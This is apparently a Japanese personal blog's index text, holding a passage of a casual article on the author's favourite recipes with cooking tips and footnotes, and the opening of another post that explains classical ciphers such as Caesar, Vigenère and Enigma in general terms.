また、長ねぎの青い部分の用途がよく分からないまま生きているので、ついでにそれを消費できるのも好きなポイントです。\n冷蔵だと数日程度しか保たないので、多めに作る時は冷凍がおすすめです。 レシピには細かく割く方法と薄切りにする方法が書かれていますが、手間の面では薄切りが圧倒的に楽です。\nなお、茹で汁は長ねぎの小口切りや茹で野菜等の具材を入れて塩胡椒で味を整え、最後に溶き卵を入れるとおいしいです。 お手元に花椒があれば入れるのも良いでしょう。9\nレシピ: 【鶏胸肉の茹で方】ジューシーに仕上げる方法と保存方法を紹介 - くらしトライ\nペペロンチーノ にんにくがしっかり香るおいしいペペロンチーノです。 手間自体はトマトだけのスパゲッティとそんなに変わりませんが、にんにくチップを取り出したり2種のオリーブオイルを使い分ける必要があったりするので難易度普通めに分類しています。\nなお、個人的には生のイタリアンパセリはあってもなくてもいいかな〜と思っています。あったら香りが良くなるけど生のイタパセって他に使いみちがあんまり思いつかないわりに保存も大変そうだから\u0026hellip;\u0026hellip;。 妥協点としては乾燥イタリアンパセリを使うのが良いでしょう。もちろん普通の乾燥パセリでも良いですが、イタパセのほうが色合いが良くパセリ独特のえぐ味も少ない気がしています。\nレシピ: 【乳化の極意を解説】にんにく香る本格ペペロンチーノレシピ。プロの技で旨みたっぷり！ | 三越伊勢丹の食メディア | FOODIE（フーディー）\nにんじんのたらこ炒め これは本当においしいです！！10 実家にいた頃からもりもり食べて作り置きを一瞬で空にしていました。 にんじんを千切りにする工程はスライサーがあるととても楽です。包丁だと面倒さが40%程アップします。\nなお、このレシピは「しんなりしたら」や「ほぐれたら」など曖昧な表現が多いんですが、適当に作ってもなんとかなります。 焦がしさえしなければ大丈夫です。\nレシピ: にんじんのたらこ炒め レシピ 大庭 英子さん｜みんなのきょうの料理\n黄金麻婆豆腐 これは騙されたと思って一度試してほしいんですが、麻婆豆腐はエバラ黄金の味で味が決まります。本当です。 黄金の味が余った時に苦肉の策として作ったんですが、ちゃんと美味しくてびっくりしました。\n麻婆豆腐は真面目に作ろうとすると中華料理特有の使いみちが限定された調味料が必要になりがちなんですが、このレシピは豆板醤だけあれば良いので本当に簡単です。\nレシピ: 迷ったらこれ！黄金麻婆豆腐のレシピ | エバラ食品\n昆布の佃煮 よく昆布といりこで水出し出汁を作っているんですが、そうするとだしがらが大量に余ります。 捨てるのはもったいないので使いみちを探していたんですが、最近見つけたのがこの昆布の佃煮です。 お世辞にも派手とは言えない見た目をしていますが、口の中に入れると昆布の旨味が爆発して大変おいしいです。\n一度に大量に作る関係上2週間では消費が追いつかない場合があるので、作り終わったら半量を冷蔵、もう半量を冷凍にするのがおすすめです。 なお、いりこのだしがらは活用方法を未だに見つけられていません。良いレシピを募集中です！\nレシピ: 昆布の佃煮のレシピ/作り方：白ごはん.com\n肉そぼろ あまり工夫しなくても手軽に扱える貴重なお肉です。私はタンパク質に対してどれだけ苦手意識があるんだ。 炒めご飯に混ぜてよし、ピザ用チーズと共にパンに乗せて焼いてよし、野菜の炒めものに混ぜてよし、使い方は無限大です。\n私はシンプルな肉そぼろと、ねっとりとして味が濃いにんにく肉みそそぼろを気分で使い分けています。 前者は他の食材の味をあまり阻害せず使いやすい反面比較的保存が効かず、後者は濃厚な味で長期間保存できる反面カロリーと塩分が気になります。\nレシピ: 肉そぼろ レシピ 堀江 ひろ子さん｜みんなのきょうの料理 にんにく肉みそそぼろ レシピ 松本 忠子さん｜みんなのきょうの料理\n難しめレシピ 玉ねぎスープ 高血圧対策の玉ねぎスープです。自炊している=健康的というわけではなく、むしろ食で身体を破壊しながら生きている自覚があるので\u0026hellip;\u0026hellip;。 11\nこのレシピは材料はシンプルで工程も煮るだけなんですが、使う玉ねぎの量が1kgと尋常ではないという一点において難易度が高いです。 レシピに書いてあるとおりフードプロセッサーがあれば楽なんですが、我が家には無いので1kgを一生懸命薄切りにしています。 ただ、一度作ると7杯分くらいは作れる上に、消費期限も1週間と長いので重宝します。\nレシピでは圧力鍋を使っていますが、家に普通の鍋しか無い場合は45分程度煮込むと良いです。\nレシピ: ［レシピ］高血圧と血糖値が気になる人必見！フレンチシェフ考案「玉ねぎスープ」をより簡単に作ってみた - フードライター浅野陽子の美食手帖\nピザソース ピザトーストのソースとしていつも使っています。 トーストの上に乗せるものは基本的にバター、ピザ用チーズ、納豆、肉みそと油分が多かったり野菜が少なかったりするんですが、このソースは野菜を食べている気分になりなんとなく許されたような雰囲気が出ます。\n調理工程自体は玉ねぎのみじん切りが面倒なくらいなんですが、ソースであるという都合上保存に少し難があります。 冷蔵だと5~6日しか保たず毎日ピザトーストを食べることになり、冷凍だと1食分に小分けするのが若干面倒です。12 そういう意味で、作る時は食パンを準備した上で気合いを入れて作ることになります。\nレシピ: ピザソースを家で手作り / 市販品より美味しい！手軽なトマトソースとしても。：白ごはん.com ピザトーストのレシピ / 家で喫茶店で出てくるような美味しいピザトーストを！：白ごはん.com\n陳建一さんの麻婆豆腐 2回目の麻婆豆腐です。こちらは中華料理特有の使いみちが限定された調味料を使うバージョンになります。 陳建一さんは結構な人が聞いたことがあるお名前だと思います。中華料理人として有名な方です。\nこのレシピの特徴は、麻婆豆腐に必要な水分の多くを豆腐で賄うという点です。 豆腐を入れる段階では、今もしかして麻婆豆腐じゃなくて豆腐炒めを作ろうとしてる？と思うような見た目なんですが、なぜか最終的に良い感じの水分量になります。 この点が効いているのかは分かりませんが、インターネット上にある麻婆豆腐レシピの中ではトップクラスに美味しいです。\nまた、このレシピ通りに作ると結構辛めに仕上がります。 辛いのが苦手な方は豆板醤の量を調節すると良いでしょう。\nレシピ: マーボー豆腐 レシピ 陳 建一さん｜みんなのきょうの料理\nワカモレ アボカドと刻んだ野菜とコリアンダー(=パクチー)を混ぜて味付けした食べ物です。ディップソースとしてトルティーヤチップスに乗せて食べます。 家でお手軽にパーティー気分を味わえるので、今日はパーッと良い感じにやるぞ！みたいな陽のテンションになった時に作ります。\nところで、アボカドは食べごろが異様に分かりづらいです。見た目ではなにも分かりません。 そろそろ食べごろでしょう！と思って切ってみると中が茶色くなりすぎていることが多いです。これではせっかくのパーティー気分も台無しです。 あれはどうやって食べごろを判断するんでしょうか？手で柔らかさを確認してもいまいち分かりませんし、触ったところから悪くなりそうで少し怖いですし、レシピに書いてあるヘタを見るやり方も上手くできる自信があまりありません。\nまた、野菜をみじん切りにするのも地味に手間で時間がかかります。細かくすればするほど見た目が良くなりテンションも上がるんですが。 総じて、パーティーには下準備の苦労がつきものだということを体現したレシピになります。\nレシピ: いま”メキシコ飲み”が熱い！　本場のシェフが教えてくれたメキシコのレシピ【第4回：ワカモレ】 | イエノミスタイル 家飲みを楽しむ人の情報サイト\n番外編1: 好きな料理レシピ本 私はある分野に入門する時には本を1冊決め、その本を親だと思って一旦全て信じるということをします。 料理については「料理のきほん練習帳 かんたん！お店の味編」が私の親です。\n料理のきほん練習帳 かんたん！お店の味編 - スタジオナッツ｜料理研究家小田真規子\nこの本の良いところは、その料理を美味しくするためのポイントはどこなのか、それをするとどうして美味しくなるのかを書いてくれているところです。 これを教えてもらえると食材を少し変えて作る時でもポイントさえ押さえれば失敗の確率が減りますし、ポイントを応用できるような食材はなにがあるかを考えることもできます。 応用の効く料理ができるようになるので、とても好きでおすすめの本です！\n本の内容は詳しく説明できないので、掲載されているレシピの中で私が好きなものの料理名を挙げます。\nオムライス とろとろのオムライスではなく昔ながらの固めのものです。チキンライス単体でも美味しい。ホワイトソースを作ればドリアに転用できます。 グリーンサラダ 市販のドレッシングを使わないサラダの作り方が書いてあります。応用が効いて好き。 欧風カレー カレールウではなくカレー粉などで作るカレーです。カレールウはどうしても余らせてしまうので助かるレシピです。 鮭の西京焼き 鮭以外にも応用が効きます。魚の切り身の消費期限を延ばしてくれるので重宝しています。 ジューシー肉餃子 大量に作り置きして冷凍し、気が向いた時に中華スープに入れて簡単餃子スープにしています。作るのは大変だけど便利。 カポナータ 夏に必ず作ります。ブラックオリーブが良いコクを出してくれておいしい。 めかじきの香草パン粉焼き 魚を洋風に焼きたい時用。香草パン粉は冷凍保存可能なので、あらかじめ作っておくといつでも使えるので大変便利です。 鶏肉のクリームチュー これもカレーと同じくルウを使わないレシピです。バターと小麦粉と牛乳さえあればよいので意外と簡単。 豆乳鍋 私がこの世で一番好きな鍋レシピです。豆乳と合わせ酢が合わさりとろとろになって最高です。 トマトのブルスケッタ ちょっと食べにくいけどおいしい。私の中ではワカモレと同じくパーティーメニュー扱いです。 きゅうりのピクルス 比較的傷むのが早いきゅうりを1週間保たせる神レシピです。好きすぎて今まで数十回は作っています。 きのこソテー きのこがメインの食材になるレシピです。こちらも1週間保つので常備菜に最適。 ミネストローネ 全ての具材を刻んで水で煮込んだだけなのに美味しくなる優秀レシピです。トマトの旨味がいっぱいです。 以上の他にも様々なレシピがあります。 実はこの本はシリーズ第二弾で、第一弾もかなり売れているらしいのでいつか買いたいです。\n番外編2: 好きな自作レシピ 今年は麻辣湯が流行りましたね。みなさんは食べましたか？ 麻辣湯は中国料理で、本場では麻辣燙という風に書きます。 麻辣味、つまり辛くて痺れるスープに様々な具材を入れて煮込む、一人用の鍋みたいなものです。 ブームに伴い様々なお店が現れましたが、私は七宝麻辣湯が好きです。日本人好みに味を調整してくれているので食べやすいです。\nさて、この麻辣湯ですが、多くのお店が少し変わった料金体系を取っています。 基本のスープ料金があり、具材を入れれば入れるほど料金が増していきます。詳しくは七宝麻辣湯のページをご参照ください。\nここで誰もが一度は思うはずです。値段を気にせず、好きな具を好きなだけ入れられたらどれほど幸せだろうかと。 私も思いました。そして探しました。自宅でお手軽に麻辣湯を作る方法を。 ここではUnigiriオリジナル13 麻辣湯レシピを公開します。\n材料 (1人分) ごま油 大さじ1 にんにく 一片 (みじん切り) しょうが 一片 (みじん切り) 豆板醤 小さじ1/2 味覇14 小さじ1 料理酒またはみりん 50ml 長ねぎ 1/2本 (小口切り) お好きな具材 お好きな分だけ。おすすめの具材は後述 春雨 10~20g15 酢 大さじ1 お好きな薬味 適量 (白ごま、海苔等) A 黒胡椒 小さじ1 一味唐辛子16 小さじ1 花椒17 小さじ1 五香粉18 小さじ1/3 醤油 小さじ1 ラー油19 小さじ3/2 調理手順 鍋にごま油を入れ、弱火で熱する にんにく、しょうが、豆板醤を鍋に加えて混ぜる 2を弱火で熱し続けつつ、長ねぎと具材を切る。この時2が鍋底に焦げ付かないよう、時々混ぜる 具材として肉を使う場合はここで鍋に入れ中火にし、表面の色が変わるまで炒める 味覇を500mlのお湯に溶かす 5、料理酒またはみりん、長ねぎを鍋に加え強火にする 煮立ったら弱火にし、Aを加える 具材を鍋に入れ中火にし、5~8分程度煮る20 春雨を入れ、更に煮る。煮る時間は春雨のパッケージに従う 酢を入れ、煮立つまで再度煮る 薬味があれば乗せてできあがり おすすめの具材 基本的にはなんでも好きな具材を好きなように切ってお入れください！そのためのご家庭で作る麻辣湯です。 ここでは、私がよく入れているおすすめの具材を紹介します。\n豚バラ肉 麻辣湯におそらく一番合うタンパク質。カロリーが気になる場合は豚肉の他の部位でも可。 きのこ類 グアニル酸補給用。入れると旨味のバランスが整う気がします。多分。 玉ねぎ 玉ねぎの甘みがスープの辛みをうまくまろやかにしてくれる気がします。でも長ねぎと玉ねぎでねぎが被っちゃってるなとよく思ってます。 キャベツ 他の料理に使った後に余りがちなのでよく入れています。食物繊維要員としても優秀。 じゃがいも ボリュームを増したい時に入れがち。溶けてスープが濁りますが、お家ごはんなので気にしません。 なす スープを吸ってふにゃふにゃになるのが美味しいです。 にら これを入れると全体の色合いが一気に良くなります。一瞬で火が通るので酢を入れるタイミングで入れると良いでしょう。 きくらげ 独特のコリコリとした歯ごたえが良いアクセントになります。乾燥きくらげを使う場合は水やお湯で戻してから、酢を入れるタイミングで入れると良いでしょう。 トマト 入れると途端に酸辣湯っぽさが増しますが、いつもの味に飽きた時に変わり種としておすすめ。 生卵 まろやかな味になるので大変おすすめです。溶いた状態で別皿に置いておき、食べている途中で味変として入れるのが好き。 おわりに これは執筆中にセルフ飯テロを受けて急遽作った、きゅうりのピクルスとペペロンチーノ w/ 茹でちぢみほうれん草 and 乾燥パセリ w/o イタリアンパセリです。 にんにくがちょっと焦げたので香ばしい味がしました。そしてにんにくの芯を取るのを忘れています。\n明日は海乃さんの実食！ ヒーローズ・フィーストです。奇しくも食べ物記事繋がり！とてもおいしそうな料理が満載です。\nこの記事以外には好きな曲について語る記事と暗号について語る記事があります。曲の記事はテンションがだいぶおかしいですが、個人的には気に入っています。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nあれ？現役合格したのになんで19歳なんですかねえ？(不登校で1年生1留)\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nお金が無かったのと、近くに良い感じの飲食店が無かったのと、当時の数年前に患った病気が理由です。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nその後莫大なストレスを抱えて酒浸りになり自炊もままならなくなりますが……。みんなは酩酊状態で料理するのはやめようね！起きた後にフライパンに乗った黒焦げの物体に気付いて驚くことになるぞ！\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n片方だけに該当するようなレシピはものによります。例えばお鍋は1に該当しますが、基本的に食材を切って鍋に入れて煮るだけなので難しいとは感じません。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n白米150g、薬味なしで約400kcalです。消化にかかる時間がゆっくりなのか、体感の腹持ちは数字以上に良いです。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n約9gの塩分が含まれています。なお、1日の塩分摂取目標量は成人男性が7.5g未満、成人女性が6.5g未満です。(厚生労働省「日本人の食事摂取基準(2025年版)」より)\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nタンパク質は加工時に衛生面に気をつけないといけないものがあるので本当に面倒です。卵、納豆、豆腐、チーズ、君たちだけが私の味方だ。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n後述の麻辣湯を作るため、私の家には花椒が常備されています。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nにんじんの甘みに抵抗がない人に特におすすめです。あの独特の甘みは苦手な人もいますよね。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n手元の血圧計で今計ったら122/89でした。性別・年齢の平均と比較すると高めです。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nラップで小分けしてもギリギリなんとかなるかもしれないくらいの粘度なんですが、冷凍庫の中で流れ出されると困るので実践はできていません。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nネット上のいくつかのレシピを参考にしたので、胸を張ってオリジナルだとは言えませんが\u0026hellip;\u0026hellip;。似たようなレシピを見かけたら参考元だと思ってください。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n創味シャンタンでも可。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n具材の量を見て調整してください。また、最後にスープへ白米を入れる場合は、春雨は少なめがおすすめです。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n韓国産唐辛子でも可。一味唐辛子に比べて辛みを抑えられます。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n粉末状のものでも、ホール状のものをミル等で挽いてもどちらでも可。どちらも試しましたが、ホールを挽いたほうが痺れるお味になります。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n主に八角の独特な香りがするので、苦手な人は抜くのも可。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n激辛好きの人向けのおすすめラー油をここに置いておきます。 激辛四川ラー油 450g | 商品情報 | ユウキ食品（YOUKI）\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n煮る時間は入れる具材の種類によって調整してください。火の通りにくい根菜等の具材があれば、長めに煮るのがおすすめです。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://unigiri.gitlab.io/posts/my-favorite-cooking-recipes-2025/","summary":"\u003cp\u003eみなさまこんにちは！Unigiriです。\nこの記事は\u003ca href=\"https://adventar.org/calendars/11414\"\u003e卓ゲ箪笥 Advent Calendar 2025\u003c/a\u003e12日目の記事です。\n11日目はdam14Fさんの\u003ca href=\"https://talto.cc/projects/t8veKERkgCW3XUBrUPSeI\"\u003eぬの匿名欄のシナリオについて\u003c/a\u003eでした。このシナリオは私も参加しましたが、とても楽しかったです！\u003c/p\u003e\n\u003cp\u003e毎年書いている語る記事シリーズも今回で3つ目となりました。\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e\nある程度語れることがいくつかある人生でありがたいことです。\u003c/p\u003e\n\u003cp\u003e今年はタイトル通り、好きな料理レシピについての記事です！\nあんまり自炊をしない方々もぜひ読んでみてください。これレシピって言うほどか\u0026hellip;\u0026hellip;？みたいなものもあります。お湯を注ぐだけの葛湯とか。\u003c/p\u003e\n\u003ch2 id=\"料理と私\"\u003e料理と私\u003c/h2\u003e\n\u003cp\u003eこれは前座です！レシピを見たい人はこの先へスクロールしてください。\u003c/p\u003e\n\u003cp\u003e私の料理歴は大学1年生の一人暮らしから始まりました。つまり19歳からです。\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e\n当時の私は諸事情により学食とコンビニ飯以外の外食があまりできず\u003csup id=\"fnref:3\"\u003e\u003ca href=\"#fn:3\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e3\u003c/a\u003e\u003c/sup\u003e 、必然的に自炊を始めざるを得ませんでした。\u003c/p\u003e\n\u003cp\u003e実家ではお米を炊いたり味噌汁に味噌を入れて味を決めたりゆで卵を作ったり餃子を包んだりなど母親のお手伝い程度のことはしていましたが、しっかりとした料理はしていなかったため、\u003ca href=\"https://www.nhk-book.co.jp/list/textcategory-12039.html\"\u003eきょうの料理ビギナーズ\u003c/a\u003eを購読し料理の基本を学んでいました。\nこの雑誌は本当におすすめです！！マイナーな食材を使わないレシピが多いので使いやすいです。今なら\u003ca href=\"https://www.kyounoryouri.jp/contents/beginners\"\u003eネットで過去のレシピを読めます\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e当時は具体的に何を作ってたんだっけ……？バイト先で貰ったパンの耳を朝食にしていたのは覚えています。あとは一口コンロのキッチンで野菜を炒めたり味噌汁を作ったりしていました。\u003c/p\u003e\n\u003cp\u003eその後社会人になりましたが、大学時代とほぼ同様の理由で相変わらず自炊はしていました。\u003csup id=\"fnref:4\"\u003e\u003ca href=\"#fn:4\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e4\u003c/a\u003e\u003c/sup\u003e\n二口コンロのある家に引っ越し、自炊レベルは爆上がりです。休日におかずクレープを作って食べたりしていました。ちょっと浮かれすぎかも。\n丼ものや一汁一菜以外の多彩なレシピに挑戦するようになったのは確かこのくらいの頃からです。\u003c/p\u003e\n\u003cp\u003eその後はシェアハウスに引っ越して他の人の自炊っぷりを見るようになったり、母親と住んで一時期料理をあまり作らなくなったり、チャッカマンで火をつけるタイプの古風かつ本格的な業務キッチンが備わっているシェアハウスに再度引っ越したりしましたが、なんやかんや自分で自分のご飯をある程度は作り続けています。\u003c/p\u003e\n\u003cp\u003eこの記事は、そんな私が好きでよく使っているレシピの詰め合わせです。\u003c/p\u003e\n\u003ch2 id=\"レシピにおける難易度の定義\"\u003eレシピにおける難易度の定義\u003c/h2\u003e\n\u003cp\u003eオタクすぐ定義から始める。まあちょっと一旦聞いていってください。\u003c/p\u003e\n\u003cp\u003eこの記事は各レシピを難易度ごとにカテゴリ分けしています。\nでも、料理をする時に何を難しいと思うか、または何を面倒くさいかと思うかって人それぞれですよね。\nなので、ここにUnigiriが考える難易度の高いレシピの定義を記します。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e使用する食材の種類が多い\u003c/li\u003e\n\u003cli\u003e食材を加熱する過程が複雑\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e1についてはイメージしやすいと思います。\nレシピを見ながらお買い物リストを作る時に食材が多いと、かかるお金・時間・手間・その他諸々を考えて「まあ見なかったことにするか\u0026hellip;\u0026hellip;」とレシピを閉じがちです。\u003c/p\u003e\n\u003cp\u003e2については若干感覚的なものなんですが、一例としてはフライパンや鍋に入れた食材を一旦取り出す作業が挟まると面倒くさいな〜と感じます。\n退避させた食材を置いておくお皿が必要なので洗い物が増えるし、なんかこう\u0026hellip;\u0026hellip;加熱したらそれで完成でしょ！って感覚になるんですよね。\nチャーハンを作る時に最初に卵を加熱して別皿に置いておく、ローストビーフを作る時にフライパンで加熱してからオーブンで焼くなどが該当します。\u003c/p\u003e\n\u003cp\u003eこの記事では、これらに該当するようなものを難しいレシピとしています。\u003csup id=\"fnref:5\"\u003e\u003ca href=\"#fn:5\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e5\u003c/a\u003e\u003c/sup\u003e\n要は、ここでの難易度カテゴリは万人に当てはまるものではないので参考程度にしてねということです。\u003c/p\u003e\n\u003ch2 id=\"易しめレシピ\"\u003e易しめレシピ\u003c/h2\u003e\n\u003ch3 id=\"卵かけめかぶ納豆ごはん\"\u003e卵かけめかぶ納豆ごはん\u003c/h3\u003e\n\u003cp\u003eタイトルが全てです！炊いた白米に卵とめかぶと納豆をぶっかけます。\n小ねぎや白ごまや刻み海苔があれば、仕上げに散らすとなお良しです。\u003c/p\u003e\n\u003cp\u003eめかぶが入っているというのがミソで、緑の食材が入ることでちょっとは健康に気を使っている気持ちになれます。少なくとも食物繊維は摂れます。\n市販の味付きめかぶパックが一番お手軽ですが、納豆のタレと合わさってちょっと味が濃くなってしまうので、個人的には味がついていないものがおすすめです。\nどちらにせよめかぶはあまり日持ちしないので、買ったら早めに食べると良いでしょう。\u003c/p\u003e\n\u003cp\u003eなお、流動食的な食べやすさに反して腹持ちは結構良いです。\u003csup id=\"fnref:6\"\u003e\u003ca href=\"#fn:6\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e6\u003c/a\u003e\u003c/sup\u003e\n多すぎると思った時は納豆か卵を抜くのがおすすめです。\u003c/p\u003e\n\u003cp\u003eレシピ: なし (簡単すぎて不要)\u003c/p\u003e\n\u003ch3 id=\"納豆のせトースト\"\u003e納豆のせトースト\u003c/h3\u003e\n\u003cp\u003eまた納豆です。納豆大好き。加工せず食べられるタンパク質源なので。\n冷蔵庫の中に納豆を常備しているんですが、白米に乗せる以外の用途がいまいち思いつかないまま生きています。\n小腹を満たすために納豆単体で食べることもあるんですが、それだと少々味気ない時に納豆のせトーストを作ります。\u003c/p\u003e\n\u003cp\u003e作り方はトーストを焼く時に納豆を乗せるだけです。気が向いたら焼けた後に白ごまを散らすと料理をした雰囲気が増します。\n食べる時に納豆をこぼさないようにだけ注意すると良いです。私はよくこぼしていますが\u0026hellip;\u0026hellip;。\u003c/p\u003e\n\u003cp\u003eレシピ: なし (簡単すぎて不要)\u003c/p\u003e\n\u003ch3 id=\"葛湯\"\u003e葛湯\u003c/h3\u003e\n\u003cp\u003e葛湯がおいしい季節になりましたね。\n市販の葛湯の素にお湯を入れて混ぜるだけですが、これも立派なレシピです。多分。\nちょっと小腹が空いたけど固形物を食べるほどじゃないな〜と思った時に飲んでいます。\u003c/p\u003e\n\u003cp\u003e葛湯の素は色々な種類が売られていますが、\u003ca href=\"https://www.imaokaseika.com/view/item/000000000046?category_page_id=ct14\"\u003e今岡製菓の抹茶くず湯\u003c/a\u003eが特に好きです。\u003c/p\u003e\n\u003cp\u003eレシピ: なし (簡単すぎて不要)\u003c/p\u003e\n\u003ch3 id=\"水出し茶\"\u003e水出し茶\u003c/h3\u003e\n\u003cp\u003e一応お茶好きを名乗らせてもらっているんですが、それでもやっぱりお湯から淹れるのは面倒です。\nお湯を沸かし、ポット2つとティーカップを取り出し、湧いた湯を各器に入れて温め、茶葉を計量し、ポット1でお茶を蒸らし、蒸らし終わったお茶をポット2に注いでこれ以上濃くならないようにし、ティーカップにお茶を注ぎ、ポット2にティーコゼーを被せ\u0026hellip;\u0026hellip;どう考えても余計なこだわりで手間を増やしていますね。大人しくティーバッグを使ったほうがよいです。\u003c/p\u003e\n\u003cp\u003eともかく、お湯からお茶を淹れるのはそれなりの手間がかかります。あと夏は熱いお茶を飲みたくないです。\nそんな時にとても便利なのが水出しのお茶です。\u003c/p\u003e","title":"好きな料理レシピについて語る記事"},{"content":"はじめに こんにちは。うにぎりです。\nこれは卓ゲ箪笥 Advent Calendar 2024の7日目の記事ですが、内容はボードゲームやTRPGに関係ありません。\n去年のような、好きなことを喋る記事です。\n今年は暗号について好き放題喋ります。\n日程枠が1つだけ空いているので適当な記事で埋めようというモチベーション故に、推敲はほぼしないし口語で書きますしファクトチェックはしません。\nなんか同じ研究室の人が酒飲みながら適当言っとるわくらいの気持ちで読んでいただけると嬉しいです。\n前提 暗号とは まずは言葉の定義から始めましょう。定義は重要。\n暗号とは文章をいい感じに読みにくくする手法の事です。\n不特定多数に読まれたくない文章等がある時、大きく分けて2種類の対策方法があります。\nステガノグラフィーとクリプトグラフィーです。\nステガノグラフィーは、文章の存在を隠す手法です。\nみかん果汁で紙に文字を書いた後に乾かすと、一見何も書いてない紙に見えるのに火で炙ると文字が浮かび上がる的なやつです。\nクリプトグラフィーは、文章をそのままでは読めないようにする手法です。\n読めないようにした文章自体が存在することは不特定多数に知られてしまいますが、読むためにはその文章を読める形に戻す方法を知っている必要があります。\n元の文章を平文、読めないようにした文章を暗号文、読めないように加工する処理を暗号化、元の文章に戻す処理を復号と呼びます。\nまた、復号方法を知らない第三者が暗号文を平文に戻そうとすることを解読、そのような事をする第三者を攻撃者とこの記事では呼ぶことにします。\n日本語で暗号と呼ばれているやつはクリプトグラフィーです。\n余談ですが、暗号文から平文に戻せないようなものは暗号ではありません。\nつまり、ハッシュ値は暗号文ではないということです。ハッシュとは何かは後で書きます。\n暗号の種類 暗号も大きく分けて2種類あります。\nコードとサイファーです。\nコードは、ある文章等を別の言い方で表現したものです。\n我奇襲に成功せりをトラトラトラと言い換えたり、飲食業でお手洗いに行くのを4番と言い換えたりするやつです。\nサイファーは、平文の内容に関わらず一定の手法で読みにくくしたものです。\nコードはあらかじめ取り決めた情報以外は表現できませんが、サイファーなら色々な情報を表現できます。\nちょっと例が難しいのですが、「あ」を1、「い」を2、「う」を3という風に順番に数字を割り当てるというルールを作っておくと、「あいうえお」や「こんにちは」などの色々な文章を数字で表現できるみたいな感じです。\nこの記事では基本的にサイファーを扱います。\nいくつかの暗号の紹介 シーザー暗号 必要な言葉の定義が終わったので、そろそろ実際の暗号手法について喋ります。\nシンプルなものから始めます。\n手法がシンプルで古くから存在し、とても有名なのはシーザー暗号です。\nカエサル暗号やシフト暗号とも呼ばれたり、英語だとROTと呼ばれたりします。\nやり方はシンプルで、各文字をN文字分ずらします。\n仮に1文字分後ろにずらすケースで説明すると、aを1つ後ろにずらしてbに、bを同様にずらしてcに、cを同様に\u0026hellip;という処理をします。\n平文が abcde の場合は暗号文は bcdef になり、 Hello, I'm Unigiri. Glad to have you here. は Ifmmp, J'n Vojhjsj. Hmbe up ibwf zpv ifsf. になります。長文になるとだいぶ暗号文っぽく見えますね。\nこの手法の弱点としては、頻度分析と全探索に弱い点です。\nシーザー暗号では、ある文字は常に特定の文字に変換されます。1文字後ろにずらすケースでは a は常に b になります。\nつまり、例として平文中に a が20回登場する場合、暗号文中に b が必ず20回登場します。\n各言語にはたくさん使われがちな文字というものがあるので、この文字がたくさん登場しているということはおそらく元々はこの文字で\u0026hellip;みたいな感じで推測しながら解読できます。\nまた、シーザー暗号で暗号化されているということが分かっていれば、全パターン調べれば必ず解読できます。\n英語の場合はアルファベットが26文字なので、1つ後ろにずらすやつを試し、次は2つずらし、次は3つ\u0026hellip;というのを26パターン全部試せば、26個の復号結果の中に必ず平文があります。1\nそして一般的に平文は意味が通る文章になっているので、どれが平文かは見ればすぐに分かります。\n総合すると、暗号手法としては使いやすいけど解読されやすい部類になります。\nヴィジュネル暗号 シーザー暗号の弱いところは、ずらす文字数が常に一定であるということです。\nじゃあ1文字目は後ろに1文字ずらして、2文字目は5文字ずらして、3文字目は9文字ずらして\u0026hellip;みたいにずらす数をバラバラにすれば解読されにくいのでは！？というのがヴィジュネル暗号の基本的なアイディアです。\nただし完全にランダムにずらすと復号できなくなるので、ずらし方をあらかじめ決めます。\n例えば1文字目は5文字分、2文字目は10文字分、3文字目は15文字分ずらすと決めて、4文字目以降は5, 10, 15, 5, 10, 15, \u0026hellip; とずらす文字数をループさせるという感じにします。\n最初の3文字目まで決めたルールを鍵と呼びます。\nこの方式の強みと弱みはここでは詳しく説明しませんが、解読しようとする第三者は鍵の長さを知らないということが重要な点になります。\n詳しくはヴィジュネル暗号またはヴィジュネル方陣で調べてください。\nちなみに、ヴィジュネル暗号の解読方法を考案したのはチャールズ・バベッジです。すごい。\nエニグマ シーザー暗号とヴィジュネル暗号は、紙とペンがあれば暗号化や復号が簡単にできます。\nしかし時が経つにつれ人間は機械を使うようになり、計算機というものも登場します。\nこれらを使うことにより、紙とペンでは時間がかかりすぎるような複雑な暗号化手順を扱えるようになります。\nその代表例がエニグマです。\nエニグマというのは暗号の名前ではなく、暗号化と復号をする機械の名前です。\n機械の中には歯車や抜き差しできるプラグなどが入っており、これらを動かすことにより複雑な暗号化を行います。\n基本的なアイディアとしてはシーザー暗号とそこまで変わらず、ある文字を別の文字に変換するだけなんですが、変換ルールがとても複雑なので解読の難しさはシーザー暗号やヴィジュネル暗号の比ではありません。\nエニグマは第二次世界大戦中のナチス・ドイツで使われました。\nドイツ軍内での通信時に使っていたので、連合国側だったイギリスにより解読方法が発見されました。\nエニグマ関係のエピソードは興味深いものが多いんですが、記事のテーマから外れるので割愛します。\n興味のある方は、解読しようとするイギリス側を描いた映画「イミテーション・ゲーム 